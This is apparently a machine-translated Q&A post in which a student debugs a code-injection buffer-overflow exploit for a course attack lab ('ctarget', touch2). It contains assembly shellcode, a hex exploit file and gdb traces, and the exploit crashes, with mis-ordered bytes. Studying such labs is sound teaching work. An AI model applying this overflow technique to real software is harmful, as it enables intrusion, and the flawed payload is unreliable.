我需要getbuf()
通过缓冲区溢出漏洞使用正确的参数调用touch2()
。我将通过漏洞利用代码替换参数 - 在堆栈上放置将cookie
的值放入%rdi
寄存器的指令。
getbuf()
看起来像这样......
4 int getbuf() {
6 char buf[BUFFER_SIZE];
7 Gets(buf);
8 return 1;
9 }
touch2()
看起来像这样......
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
我知道cookie的价值是:Cookie: 0x54756825
我有一个名为hex2raw
的程序,它读入包含十六进制字符的文本文件并将它们转换为原始二进制数据。因此,我可以通过以下命令运行攻击:./hex2raw < exploit.txt | ./ctarget
其中ctarget
是主程序。
getbuf()
的汇编代码如下所示......
000000000040194a <getbuf>:
40194a: 48 83 ec 38 sub $0x38,%rsp
40194e: 48 89 e7 mov %rsp,%rdi
401951: e8 8a 02 00 00 callq 401be0 <Gets>
401956: b8 01 00 00 00 mov $0x1,%eax
40195b: 48 83 c4 38 add $0x38,%rsp
40195f: c3 retq
我知道堆栈帧的大小是0x38
所以在我的exploit.txt
文件中我可以有类似的东西:
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */
...这将导致getbuf()
返回地址401960
处的函数。
但是,我需要做的远不止这些。我的漏洞利用的一般过程是这样的:
我已经知道如何使getbuf()
返回不同的函数(在上面的漏洞利用代码中)。所以现在我需要溢出缓冲区并将8字节的地址直接放在返回地址空间之上。
我可以通过简单地在%rsp
开头的getbuf()
寄存器指向的地址添加8个字节来实现。我可以通过gdb找到这个值......
(gdb) b *0x40194a
Breakpoint 1 at 0x40194a: file buf.c, line 12.
(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget
Cookie: 0x54756825
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) x/x ($rsp)
0x556387f0: 0x00401b16
因此,返回地址空间中的地址应为0x556387f8
。
接下来我需要添加汇编代码,因此我编译以下代码,然后使用objdump
查看十六进制值......
movq $0x0000000054756825, %rdi
movq $0x000000000040198c, 0x0000000055638800 ; move the address of `touch2()` into a place on the stack
movq $0x0000000055638800, %rbp ; move that address place into the tbp register -- used for the retq instruction
retq
...编译
kmwe236@kmwe236:~/CS485/prog3/target26$ gcc -c level2.s
kmwe236@kmwe236:~/CS485/prog3/target26$ objdump -d level2.o > level2.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat level2.txt
level2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 25 68 75 54 mov $0x54756825,%rdi
7: 48 c7 04 25 00 88 63 movq $0x40198c,0x55638800
e: 55 8c 19 40 00
13: 48 c7 c5 00 88 63 55 mov $0x55638800,%rbp
1a: c3 retq
最后是构建exploit.txt
文件的时候了......所以这就是我所拥有的......(注释是允许的)
kmwe236@kmwe236:~/CS485/prog3/target26$ cat exploit2.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
f8 87 63 55 00 00 00 00 /* 8 bytes address */
54 75 68 25 c7 c7 48 00 /* begin instructions */
63 88 00 25 04 c7 48 00
00 40 19 8c 55 00 00 00
55 63 88 00 c5 c7 48 00
c3 00 00 00 00 00 00 00
这会导致seg故障。我错过了一些我知道的小事。
我尝试使用GDB确切地找出它出错的地方。程序要求我输入一个字符串,所以我将原始数据转换为ASCII字符串,如此...
kmwe236@kmwe236:~/CS485/prog3/target26$ ./hex2raw < exploit2.txt > temp
kmwe236@kmwe236:~/CS485/prog3/target26$ base64 < temp > temp.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat temp.txt
AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4
h2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
我猜测那里有一个\n
,所以实际的字符串是AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
然后我像这样运行GDB ...它在retq
中的getbuf()
指令之后判断错误,好像上面的8字节地址是非法的地方一样?
(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget
Cookie: 0x54756825
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) nexti
14 in buf.c
(gdb) nexti
0x0000000000401951 14 in buf.c
(gdb) nexti
Type string:AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
16 in buf.c
(gdb) nexti
0x000000000040195b 16 in buf.c
(gdb) nexti
0x000000000040195f 16 in buf.c
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x000000000040195f in getbuf () at buf.c:16
16 in buf.c
要求GDB where
给我这个......
(gdb) where
#0 0x000000000040195f in getbuf () at buf.c:16
#1 0x4141414141414141 in ?? ()
#2 0x4141414141414141 in ?? ()
#3 0x32686e5c34444141 in ?? ()
#4 0x464141414141564e in ?? ()
#5 0x3078485843613152 in ?? ()
#6 0x514a416734594167 in ?? ()
#7 0x4251414141534854 in ?? ()
#8 0x4641414151564d6d in ?? ()
#9 0x3078464441696a56 in ?? ()
#10 0x4141414177774167 in ?? ()
#11 0xf4004b4141414141 in ?? ()
#12 0xf4f4f4f4f4f4f4f4 in ?? ()
#13 0xf4f4f4f4f4f4f4f4 in ?? ()
#14 0xf4f4f4f4f4f4f4f4 in ?? ()
#15 0xf4f4f4f4f4f4f4f4 in ?? ()
#16 0xf4f4f4f4f4f4f4f4 in ?? ()
#17 0xf4f4f4f4f4f4f4f4 in ?? ()
#18 0xf4f4f4f4f4f4f4f4 in ?? ()
#19 0xf4f4f4f4f4f4f4f4 in ?? ()
#20 0xf4f4f4f4f4f4f4f4 in ?? ()
#21 0xf4f4f4f4f4f4f4f4 in ?? ()
#22 0xf4f4f4f4f4f4f4f4 in ?? ()
#23 0xf4f4f4f4f4f4f4f4 in ?? ()
#24 0xf4f4f4f4f4f4f4f4 in ?? ()
#25 0xf4f4f4f4f4f4f4f4 in ?? ()
#26 0xf4f4f4f4f4f4f4f4 in ?? ()
#27 0xf4f4f4f4f4f4f4f4 in ?? ()
#28 0xf4f4f4f4f4f4f4f4 in ?? ()
#29 0xf4f4f4f4f4f4f4f4 in ?? ()
#30 0xf4f4f4f4f4f4f4f4 in ?? ()
#31 0xf4f4f4f4f4f4f4f4 in ?? ()
#32 0xf4f4f4f4f4f4f4f4 in ?? ()
#33 0xf4f4f4f4f4f4f4f4 in ?? ()
#34 0xf4f4f4f4f4f4f4f4 in ?? ()
#35 0xf4f4f4f4f4f4f4f4 in ?? ()
#36 0xf4f4f4f4f4f4f4f4 in ?? ()
#37 0xf4f4f4f4f4f4f4f4 in ?? ()
#38 0xf4f4f4f4f4f4f4f4 in ?? ()
#39 0xf4f4f4f4f4f4f4f4 in ?? ()
#40 0xf4f4f4f4f4f4f4f4 in ?? ()
#41 0xf4f4f4f4f4f4f4f4 in ?? ()
#42 0xf4f4f4f4f4f4f4f4 in ?? ()
#43 0xf4f4f4f4f4f4f4f4 in ?? ()
#44 0xf4f4f4f4f4f4f4f4 in ?? ()
#45 0xf4f4f4f4f4f4f4f4 in ?? ()
#46 0xf4f4f4f4f4f4f4f4 in ?? ()
#47 0xf4f4f4f4f4f4f4f4 in ?? ()
#48 0xf4f4f4f4f4f4f4f4 in ?? ()
#49 0xf4f4f4f4f4f4f4f4 in ?? ()
#50 0xf4f4f4f4f4f4f4f4 in ?? ()
#51 0xf4f4f4f4f4f4f4f4 in ?? ()